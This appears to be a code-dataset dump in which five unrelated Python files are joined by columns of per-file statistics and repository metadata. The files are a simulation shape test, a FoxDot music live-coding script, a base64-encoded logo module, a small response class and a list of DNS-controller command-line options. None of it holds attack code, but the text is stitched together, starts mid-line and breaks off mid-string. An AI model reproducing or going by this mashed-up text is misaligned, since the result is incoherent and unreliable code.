np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Uncorrelated Bernoulli Simulation returns = sims.ubern_sim(num_samps, num_dim2) assert np.all(returns[0].shape == (num_samps, num_dim2)) # Logarithmic Simulation returns_low_dim = sims.log_sim(num_samps, num_dim1) returns_high_dim = sims.log_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Nth Root Simulation returns_low_dim = sims.root_sim(num_samps, num_dim1) returns_high_dim = sims.root_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Sinusoidal Simulation (4*pi) returns_low_dim = sims.sin_sim(num_samps, num_dim1) returns_high_dim = sims.sin_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Sinusoidal Simulation (16*pi) returns_low_dim = sims.sin_sim(num_samps, num_dim1, period=16*np.pi) returns_high_dim = sims.sin_sim( num_samps, num_dim2, period=16*np.pi, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Square Simulation returns = sims.square_sim(num_samps, num_dim2, indep=independent) assert np.all(returns[0].shape == (num_samps, num_dim2)) # Two Parabolas Simulation returns_low_dim = sims.two_parab_sim(num_samps, num_dim1) returns_high_dim = sims.two_parab_sim(num_samps, num_dim2) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Circle Simulation returns = sims.circle_sim(num_samps, num_dim2) assert np.all(returns[0].shape == (num_samps, num_dim2)) # Ellipse Simulation returns = sims.circle_sim(num_samps, num_dim2, radius=5) assert np.all(returns[0].shape == (num_samps, num_dim2)) # Diamond Simulation returns = sims.square_sim( num_samps, num_dim2, period=-np.pi/4, indep=independent) assert np.all(returns[0].shape == (num_samps, num_dim2)) # Multiplicative Noise Simulation returns = sims.multi_noise_sim(num_samps, num_dim2) assert np.all(returns[0].shape == (num_samps, num_dim2)) # Multimodal Independence Simulation returns = sims.multi_indep_sim(num_samps, num_dim2) assert np.all(returns[0].shape == (num_samps, num_dim2))
43.579832
78
0.7285
817
5,186
4.28519
0.086903
0.153099
0.207369
0.17138
0.878892
0.816053
0.812625
0.770351
0.763782
0.60954
0
0.026941
0.155418
5,186
118
79
43.949153
0.772374
0.086965
0
0.434211
0
0
0
0
0
0
0
0
0.434211
1
0.013158
false
0
0.039474
0
0.052632
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
9
b5d0805e25706d1f3f754e5970e970a416c75a55
9,165
py
Python
src/foxdot/research/180501_0019_house_by_the_waves.py
Neko250/aisthesis
1d4a2c3070d10596c28b25ea2170523583e7eff0
[ "Apache-2.0" ]
4
2018-06-29T18:39:34.000Z
2021-06-20T16:44:29.000Z
src/foxdot/research/180501_0019_house_by_the_waves.py
Neko250/aisthesis
1d4a2c3070d10596c28b25ea2170523583e7eff0
[ "Apache-2.0" ]
null
null
null
src/foxdot/research/180501_0019_house_by_the_waves.py
Neko250/aisthesis
1d4a2c3070d10596c28b25ea2170523583e7eff0
[ "Apache-2.0" ]
null
null
null
""" Chovin Carlson - House by the Waves: https://www.youtube.com/watch?v=nkU8r5QKN3Y How to: - Run the statements line by line (alt+enter), go to the next one whenever you feel like - The "#### > run block <" blocks should be executed together (ctrl+enter) - If you want to fast-forward through the song, just execute the blocks together (ctrl+enter) from the beginning, so you don't have to go through every variation of each instrument - Enjoy ! :+1: """ n1 >> noise(PSine(32),) n1 >> noise(P(PSine(32),PSine(24)),) n1 >> noise(P(PSine(32),PSine(24),PSine(27)),) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7),) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,formant=(linvar([1,3],48),linvar([3,1],53)),) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,formant=(linvar([1,3],48),linvar([3,1],53)),chop=16,) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,formant=(linvar([1,3],48),linvar([3,1],53)),chop=16,lpf=1200,lpr=(linvar([0,6],64),linvar([3,0],53))+PSine(5)*.7) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,formant=(linvar([1,3],48),linvar([3,1],53)),chop=0,lpf=1200,lpr=(linvar([0,6],64),linvar([3,0],53))+PSine(5)*.7) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,formant=(linvar([1,3],48),linvar([3,1],53)),chop=2,lpf=1200,lpr=(linvar([0,6],64),linvar([3,0],53))+PSine(5)*.7) n1 >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,formant=(linvar([1,3],48),linvar([3,1],53)),chop=linvar([0,16],65),lpf=1200,lpr=(linvar([0,6],64),linvar([3,0],53))) n1.reset() >> noise(P(PSine(32),PSine(24),PSine(27),PSine(18)*.7,PSine(45)),amp=P(.8,.7,.8,.7,.9)*.4,dur=.5,formant=(linvar([1,3],48),linvar([3,1],53)),chop=16,lpf=1200,lpr=(linvar([0,6],64),linvar([3,0],53))) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12),) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.5,) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.5,delay=(0,PRand(b1.dur)/8),) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.5,delay=(0,PRand(b1.dur)/8),amp=.8,) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.5,delay=(0,PRand(b1.dur)/8),amp=.8,formant=1,) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.5,delay=(0,PRand(b1.dur)/8),amp=.8,formant=2,) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.5,delay=(0,PRand(b1.dur)/8),amp=.6,formant=2,) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.5,delay=(0,PRand([0,PRand(b1.dur)/8])),amp=.6,formant=2,) b2 >> bell(0,dur=PRand(20)+.125,delay=(0,PRand([0,PRand(b2.dur)/3])),) b2 >> bell(0,dur=PRand(20)+.125,delay=(0,PRand([0,PRand(b2.dur)/3])),amp=linvar([.25,.5],PRand(8,32)),) b2 >> bell(0,dur=PRand(20)+.125,delay=(0,PRand([0,PRand(b2.dur)/3])),amp=linvar([.25,.5],PRand(8,32)),lpf=linvar([2200,4000],PRand(36)),) b2 >> bell(0,dur=PRand(20)+.125,delay=(0,PRand([0,PRand(b2.dur)/3])),amp=linvar([.25,.5],PRand(8,32)),lpf=linvar([2200,4000],PRand(36)),oct=PRand([5,6]),) b2 >> bell(0,dur=PRand(20)*1.25+.125,delay=(0,PRand([0,PRand(b2.dur)/3])),amp=linvar([.25,.5],PRand(8,32)),lpf=linvar([2200,4000],PRand(36)),oct=PRand([5,6]),) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.25,delay=(0,PRand([0,PRand(b1.dur)/8])),amp=.6,formant=2,) s1 >> soprano([0,4,(3,1),2],dur=8,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,amp=.6,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,amp=.6,lpf=1200,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,amp=.2,lpf=1200,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,amp=.4,lpf=1200,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,amp=.6,lpf=1200,) s2 >> spark((7,5,[4,9]),dur=PRand(6,24),) s2 >> spark((7,5,[4,9]),dur=PRand(6,24),delay=P(0,.125,.25),) s2 >> spark((7,5,[4,9]),dur=PRand(6,24),delay=P(0,.125,.25),sus=.15,) s2 >> spark((7,5,[4,9]),dur=PRand(6,24),delay=P(0,.125,.25),sus=.15,chop=1,) s2 >> spark((7,5,[4,9]),dur=PRand(6,24),delay=P(0,.125,.25),sus=.15,chop=1,amp=.8,) s2 >> spark((7,5,[4,9]),dur=PRand(6,24),delay=P(0,.125,.25)*.8,sus=.15,chop=1,amp=.8,) s2 >> spark((7,5,[4,[9,10]]),dur=PRand(6,24),delay=P(0,.125,.25)*.8,sus=.15,chop=1,amp=.8,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,0,0,0),dur=4,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,0,0,0),dur=4,amp=P(PRange(4,0,-1)/8+.25),) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,0,0,0),dur=4,amp=P(PRange(4,0,-1)/8+.25),delay=P(PRange(4,0,-1)/4),) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,0,0,0),dur=4,amp=P(PRange(4,0,-1)/8+.25),delay=P(PRange(4,0,-1)/4),formant=1,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,0,0,0),dur=4,amp=P(PRange(4,0,-1)/8+.25),delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,0,0,0),dur=4,amp=P(PRange(4,0,-1)/8+.25),delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,2),dur=4,amp=P(PRange(4,0,-1)/8+.25),delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=4,amp=P(PRange(4,0,-1)/8+.25),delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=4,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=.4,) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=.4,echo=1,) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=.4,echo=1,decay=1,) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=.4,echo=1,decay=1,sus=b3.dur-1.5,) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=.4,echo=1,decay=1,sus=b3.dur-1.5,formant=1,) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=.4,echo=1,decay=1,sus=b3.dur-1.5,formant=(0,1),) b1 >> blip(PRand(8)+(0,PRand(4)),dur=PRand(2,12)*1.25,delay=(0,PRand([0,PRand(b1.dur)/8])),amp=.5,formant=2,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,amp=.5,lpf=1200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=3,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=2.5,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=2,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=1.5,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=1,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=.75,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=.5,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=.25,amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) #### > run block < piv = [1,1.5,2,2.5,3,3,4,4] piv.extend(piv[::-1]) pivd = 16 p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=var(piv,pivd),amp=P(PRange(4,0,-1)/8+.25)*.6,delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) #### > run block < b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=.3,echo=1,decay=1,sus=b3.dur-1.5,formant=(0,1),) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=(.4,.3),echo=1,decay=1,sus=b3.dur-1.5,formant=(0,1),) #### > run block < danger piv = [0.25,0.25,1/3,1/3,0.5,0.625,0.75,0.875,1,1.5,2,2.5,3,3,4,4] piv.extend(piv[::-1]) pivd = 8 p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=var(piv,pivd),amp=P(PRange(4,0,-1)/8+.25)*linvar([.4,.6,.4],[[pivd*2]+[pivd*(len(piv)-4)]+[pivd*2]]),delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) #### > run block < p1 >> pluck(var([9,7,3,4,2,1],8) + (0,2,0,[4,5,6]),dur=Pvar([linvar(piv,pivd),var(piv,pivd)],len(piv)*pivd),amp=P(PRange(4,0,-1)/8+.25)*linvar([.4,.6,.4],[[pivd*2]+[pivd*(len(piv)-4)]+[pivd*2]]),delay=P(PRange(4,0,-1)/4),formant=1,lpf=1500,hpf=200,) s1 >> soprano([0,4,(3,1),2],dur=8,sus=s1.dur/2,amp=.6,lpf=1200,) b3 >> bass((p1.degree-1)+(0,2),dur=8,amp=(.4,.3),echo=1,decay=1,sus=b3.dur-1.5,formant=(0,1),) Group(p1).amplify = 0.9 Group(p1).amplify = 0.8 Group(p1).amplify = 0.7 Group(p1,s2).amplify = 0.7 Group(p1,s2,b1).amplify = 0.7 Group(p1,s2,b1).amplify = 0.6 Group(p1,s2,b1,s1).amplify = 0.6 Group(p1,s2,b1,s1,b2).amplify = 0.6 Group(p1,s2,b1,s1,b2).amplify = 0.5 Group(p1,s2,b1,s1,b2,n1).amplify = 0.5 Group(p1,s2,b1,s1,b2,n1).amplify = 0.4 Group(p1,s2,b1,s1,b2,n1).amplify = 0.3 Group(p1,s2,b1,s1,b2,n1).amplify = 0.2 Group(p1,s2,b1,s1,b2,n1,b3).amplify = 0.2 Group(p1,s2,b1,s1,b2,n1,b3).amplify = 0.4 Group(p1,s2,b1,s1,b2,n1,b3).amplify = 0
67.888889
249
0.591489
2,220
9,165
2.441892
0.059009
0.015126
0.054602
0.061428
0.906844
0.906844
0.900387
0.896329
0.893747
0.874746
0
0.194707
0.051828
9,165
134
250
68.395522
0.429114
0.057065
0
0.072917
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
85e6fc1d591bb193fb9fe78996896d88aacde181
12,160
py
Python
app/PoziConnect/gui/gui_logo_png.py
pozi/PoziConnect
375ca0f5ab3a44cc898b85a12ba54ab1cf0f4f61
[ "MIT" ]
null
null
null
app/PoziConnect/gui/gui_logo_png.py
pozi/PoziConnect
375ca0f5ab3a44cc898b85a12ba54ab1cf0f4f61
[ "MIT" ]
null
null
null
app/PoziConnect/gui/gui_logo_png.py
pozi/PoziConnect
375ca0f5ab3a44cc898b85a12ba54ab1cf0f4f61
[ "MIT" ]
null
null
null
""" Script generated by _generate_gui_logo.py for use in POZI Connect GUI """ from StringIO import StringIO from base64 import b64decode imageBase64 = """iVBORw0KGgoAAAANSUhEUgAAAXwAAABOCAYAAAAjIq3YAAAACXBIWXMAAAViAAAFYgGsYVycAAAAB3RJTUUH4QEJFSIbZp7q6gAAAAd0RVh0QXV0aG9yAKmuzEgAAAAMdEVYdERlc2NyaXB0aW9uABMJISMAAAAKdEVYdENvcHlyaWdodACsD8w6AAAADnRFWHRDcmVhdGlvbiB0aW1lADX3DwkAAAAJdEVYdFNvZnR3YXJlAF1w/zoAAAALdEVYdERpc2NsYWltZXIAt8C0jwAAAAh0RVh0V2FybmluZwDAG+aHAAAAB3RFWHRTb3VyY2UA9f+D6wAAAAh0RVh0Q29tbWVudAD2zJa/AAAABnRFWHRUaXRsZQCo7tInAAAgAElEQVR4nO2de3zT1f3/X+/zSZu2IrRFhw7Uqcz5nW7qxi46d9E5dc45HVIHTQp4odo2IQmIc9PVeJswaNJ80iKoP6BpUYtOh5f91Om87qLTTaduKvidyk2FtigD0ibn/f2jaUk+uTdpoc15Ph7lQc7nfM77fHJ5f87nfd4XYmYoFAqFYuwj9vcEFAqFQjEyKIWvUCgUBYJS+AqFQlEgKIWvUCgUBYJS+AqFQlEgKIWvUCgUBYJS+AqFQlEgKIWvUCgUBYJS+AqFQlEgKIWvUCgUBYJS+AqFQlEgKIWvUCgUBYJS+AqFQlEgKIWvUCgUBYJS+AqFQlEgmPb3BDLBqVsLMWn/Vo8t8Nn9PQmFQjF2UCt8hUKhKBCUwlcoFIoCQSl8hUKhKBCUwlcoFIoCQSl8hUKhKBBGhZfOMNILwqYhn81UB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oIacr2KRQKRXaMCpNOPnDps89iyPuRppxeHtgBIX7sqV9TELl0FArF6GF0rPBzxOmrsTLkoxh+ZQ8AEyHl47l48CgUCsVwMOYVvstvqQPxagBFIyh2HIMecvhrZoygTIVCoUjJmFb4Dt3yK2Zqwf65zmJivtupWy7dD7IVCoUijjGr8J0+y2ICxReDGFk0gO50+a3z9/M8FAqFYuwpfAKRU6/xgNIW5RgpiBleh15z3f6eiEKhKGzGlJdOf7ZLSwuAq/b3XBLC9AuPve3X+3saCoWiMPk/RNsLeaIC+eoAAAAASUVORK5CYII=""" imageBinary = b64decode(imageBase64) imageStream = StringIO(imageBinary)
1,351.111111
11,948
0.967928
360
12,160
32.686111
0.961111
0.016147
0.019376
0.019376
0.009688
0
0
0
0
0
0
0.148063
0.002467
12,160
8
11,949
1,520
0.822012
0.005674
0
0
1
0.2
0.987254
0.987254
0
1
0
0
0
1
0
false
0
0.4
0
0.4
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
1
0
1
1
null
1
0
0
0
0
0
0
0
1
0
0
0
0
9
c82272ac2c006960dc83e1b9089bf35013e96a48
167
py
Python
response_interface.py
userapan/raspberry_server
6de2508a45c0c8ab0fc2f532edb3efc0208c035d
[ "MIT" ]
null
null
null
response_interface.py
userapan/raspberry_server
6de2508a45c0c8ab0fc2f532edb3efc0208c035d
[ "MIT" ]
null
null
null
response_interface.py
userapan/raspberry_server
6de2508a45c0c8ab0fc2f532edb3efc0208c035d
[ "MIT" ]
null
null
null
import json class Response(): def succ_response(self, data): return {"results": data} def err_response(self, data): return {"error": data}
15.181818
34
0.610778
20
167
5
0.6
0.24
0.32
0.44
0
0
0
0
0
0
0
0
0.263473
167
10
35
16.7
0.813008
0
0
0
0
0
0.071856
0
0
0
0
0
0
1
0.333333
false
0
0.166667
0.333333
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
c09b17b2d2c9ca7ea9b287c9a47b919f45b0c980
40,002
py
Python
hack/generateChartOptions.py
BeckerMax/external-dns-management
a81a44a87426e410cf40dbf91d0f52ce74200ac8
[ "BSD-3-Clause" ]
null
null
null
hack/generateChartOptions.py
BeckerMax/external-dns-management
a81a44a87426e410cf40dbf91d0f52ce74200ac8
[ "BSD-3-Clause" ]
null
null
null
hack/generateChartOptions.py
BeckerMax/external-dns-management
a81a44a87426e410cf40dbf91d0f52ce74200ac8
[ "BSD-3-Clause" ]
null
null
null
#!/bin/python # helper script to regenerate helm chart file: partial of charts/external-dns-management/templates/deployment.yaml import re options = """ --accepted-maintainers string accepted maintainer key(s) for crds --alicloud-dns.cache-dir string Directory to store zone caches (for reload after restart) of controller alicloud-dns --alicloud-dns.cache-ttl int Time-to-live for provider hosted zone cache of controller alicloud-dns (default 120) --alicloud-dns.default.pool.size int Worker pool size for pool default of controller alicloud-dns (default 2) --alicloud-dns.disable-zone-state-caching disable use of cached dns zone state on changes of controller alicloud-dns --alicloud-dns.dns-class string Class identifier used to differentiate responsible controllers for entry resources of controller alicloud-dns (default "gardendns") --alicloud-dns.dns-delay duration delay between two dns reconciliations of controller alicloud-dns (default 10s) --alicloud-dns.dns.pool.resync-period duration Period for resynchronization for pool dns of controller alicloud-dns (default 15m0s) --alicloud-dns.dns.pool.size int Worker pool size for pool dns of controller alicloud-dns (default 1) --alicloud-dns.dry-run just check, don't modify of controller alicloud-dns --alicloud-dns.identifier string Identifier used to mark DNS entries in DNS system of controller alicloud-dns (default "dnscontroller") --alicloud-dns.ownerids.pool.size int Worker pool size for pool ownerids of controller alicloud-dns (default 1) --alicloud-dns.pool.resync-period duration Period for resynchronization of controller alicloud-dns --alicloud-dns.pool.size int Worker pool size of controller alicloud-dns --alicloud-dns.providers.pool.resync-period duration Period for resynchronization for pool providers of controller alicloud-dns (default 10m0s) --alicloud-dns.providers.pool.size int Worker pool size for pool providers of controller alicloud-dns (default 2) --alicloud-dns.ratelimiter.burst int number of burst requests for rate limiter of controller alicloud-dns --alicloud-dns.ratelimiter.enabled enables rate limiter for DNS provider requests of controller alicloud-dns --alicloud-dns.ratelimiter.qps int maximum requests/queries per second of controller alicloud-dns --alicloud-dns.reschedule-delay duration reschedule delay after losing provider of controller alicloud-dns (default 2m0s) --alicloud-dns.secrets.pool.size int Worker pool size for pool secrets of controller alicloud-dns (default 2) --alicloud-dns.setup int number of processors for controller setup of controller alicloud-dns (default 10) --alicloud-dns.statistic.pool.size int Worker pool size for pool statistic of controller alicloud-dns (default 1) --alicloud-dns.ttl int Default time-to-live for DNS entries of controller alicloud-dns (default 300) --annotation.default.pool.size int Worker pool size for pool default of controller annotation (default 5) --annotation.pool.size int Worker pool size of controller annotation --annotation.setup int number of processors for controller setup of controller annotation (default 10) --aws-route53.cache-dir string Directory to store zone caches (for reload after restart) of controller aws-route53 --aws-route53.cache-ttl int Time-to-live for provider hosted zone cache of controller aws-route53 (default 120) --aws-route53.default.pool.size int Worker pool size for pool default of controller aws-route53 (default 2) --aws-route53.disable-zone-state-caching disable use of cached dns zone state on changes of controller aws-route53 --aws-route53.dns-class string Class identifier used to differentiate responsible controllers for entry resources of controller aws-route53 (default "gardendns") --aws-route53.dns-delay duration delay between two dns reconciliations of controller aws-route53 (default 10s) --aws-route53.dns.pool.resync-period duration Period for resynchronization for pool dns of controller aws-route53 (default 15m0s) --aws-route53.dns.pool.size int Worker pool size for pool dns of controller aws-route53 (default 1) --aws-route53.dry-run just check, don't modify of controller aws-route53 --aws-route53.identifier string Identifier used to mark DNS entries in DNS system of controller aws-route53 (default "dnscontroller") --aws-route53.ownerids.pool.size int Worker pool size for pool ownerids of controller aws-route53 (default 1) --aws-route53.pool.resync-period duration Period for resynchronization of controller aws-route53 --aws-route53.pool.size int Worker pool size of controller aws-route53 --aws-route53.providers.pool.resync-period duration Period for resynchronization for pool providers of controller aws-route53 (default 10m0s) --aws-route53.providers.pool.size int Worker pool size for pool providers of controller aws-route53 (default 2) --aws-route53.ratelimiter.burst int number of burst requests for rate limiter of controller aws-route53 --aws-route53.ratelimiter.enabled enables rate limiter for DNS provider requests of controller aws-route53 --aws-route53.ratelimiter.qps int maximum requests/queries per second of controller aws-route53 --aws-route53.reschedule-delay duration reschedule delay after losing provider of controller aws-route53 (default 2m0s) --aws-route53.secrets.pool.size int Worker pool size for pool secrets of controller aws-route53 (default 2) --aws-route53.setup int number of processors for controller setup of controller aws-route53 (default 10) --aws-route53.statistic.pool.size int Worker pool size for pool statistic of controller aws-route53 (default 1) --aws-route53.ttl int Default time-to-live for DNS entries of controller aws-route53 (default 300) --azure-dns.cache-dir string Directory to store zone caches (for reload after restart) of controller azure-dns --azure-dns.cache-ttl int Time-to-live for provider hosted zone cache of controller azure-dns (default 120) --azure-dns.default.pool.size int Worker pool size for pool default of controller azure-dns (default 2) --azure-dns.disable-zone-state-caching disable use of cached dns zone state on changes of controller azure-dns --azure-dns.dns-class string Class identifier used to differentiate responsible controllers for entry resources of controller azure-dns (default "gardendns") --azure-dns.dns-delay duration delay between two dns reconciliations of controller azure-dns (default 10s) --azure-dns.dns.pool.resync-period duration Period for resynchronization for pool dns of controller azure-dns (default 15m0s) --azure-dns.dns.pool.size int Worker pool size for pool dns of controller azure-dns (default 1) --azure-dns.dry-run just check, don't modify of controller azure-dns --azure-dns.identifier string Identifier used to mark DNS entries in DNS system of controller azure-dns (default "dnscontroller") --azure-dns.ownerids.pool.size int Worker pool size for pool ownerids of controller azure-dns (default 1) --azure-dns.pool.resync-period duration Period for resynchronization of controller azure-dns --azure-dns.pool.size int Worker pool size of controller azure-dns --azure-dns.providers.pool.resync-period duration Period for resynchronization for pool providers of controller azure-dns (default 10m0s) --azure-dns.providers.pool.size int Worker pool size for pool providers of controller azure-dns (default 2) --azure-dns.ratelimiter.burst int number of burst requests for rate limiter of controller azure-dns --azure-dns.ratelimiter.enabled enables rate limiter for DNS provider requests of controller azure-dns --azure-dns.ratelimiter.qps int maximum requests/queries per second of controller azure-dns --azure-dns.reschedule-delay duration reschedule delay after losing provider of controller azure-dns (default 2m0s) --azure-dns.secrets.pool.size int Worker pool size for pool secrets of controller azure-dns (default 2) --azure-dns.setup int number of processors for controller setup of controller azure-dns (default 10) --azure-dns.statistic.pool.size int Worker pool size for pool statistic of controller azure-dns (default 1) --azure-dns.ttl int Default time-to-live for DNS entries of controller azure-dns (default 300) --bind-address-http string HTTP server bind address --cache-dir string Directory to store zone caches (for reload after restart) --cache-ttl int Time-to-live for provider hosted zone cache --cloudflare-dns.cache-dir string Directory to store zone caches (for reload after restart) of controller cloudflare-dns --cloudflare-dns.cache-ttl int Time-to-live for provider hosted zone cache of controller cloudflare-dns (default 120) --cloudflare-dns.default.pool.size int Worker pool size for pool default of controller cloudflare-dns (default 2) --cloudflare-dns.disable-zone-state-caching disable use of cached dns zone state on changes of controller cloudflare-dns --cloudflare-dns.dns-class string Class identifier used to differentiate responsible controllers for entry resources of controller cloudflare-dns (default "gardendns") --cloudflare-dns.dns-delay duration delay between two dns reconciliations of controller cloudflare-dns (default 10s) --cloudflare-dns.dns.pool.resync-period duration Period for resynchronization for pool dns of controller cloudflare-dns (default 15m0s) --cloudflare-dns.dns.pool.size int Worker pool size for pool dns of controller cloudflare-dns (default 1) --cloudflare-dns.dry-run just check, don't modify of controller cloudflare-dns --cloudflare-dns.identifier string Identifier used to mark DNS entries in DNS system of controller cloudflare-dns (default "dnscontroller") --cloudflare-dns.ownerids.pool.size int Worker pool size for pool ownerids of controller cloudflare-dns (default 1) --cloudflare-dns.pool.resync-period duration Period for resynchronization of controller cloudflare-dns --cloudflare-dns.pool.size int Worker pool size of controller cloudflare-dns --cloudflare-dns.providers.pool.resync-period duration Period for resynchronization for pool providers of controller cloudflare-dns (default 10m0s) --cloudflare-dns.providers.pool.size int Worker pool size for pool providers of controller cloudflare-dns (default 2) --cloudflare-dns.ratelimiter.burst int number of burst requests for rate limiter of controller cloudflare-dns --cloudflare-dns.ratelimiter.enabled enables rate limiter for DNS provider requests of controller cloudflare-dns --cloudflare-dns.ratelimiter.qps int maximum requests/queries per second of controller cloudflare-dns --cloudflare-dns.reschedule-delay duration reschedule delay after losing provider of controller cloudflare-dns (default 2m0s) --cloudflare-dns.secrets.pool.size int Worker pool size for pool secrets of controller cloudflare-dns (default 2) --cloudflare-dns.setup int number of processors for controller setup of controller cloudflare-dns (default 10) --cloudflare-dns.statistic.pool.size int Worker pool size for pool statistic of controller cloudflare-dns (default 1) --cloudflare-dns.ttl int Default time-to-live for DNS entries of controller cloudflare-dns (default 300) 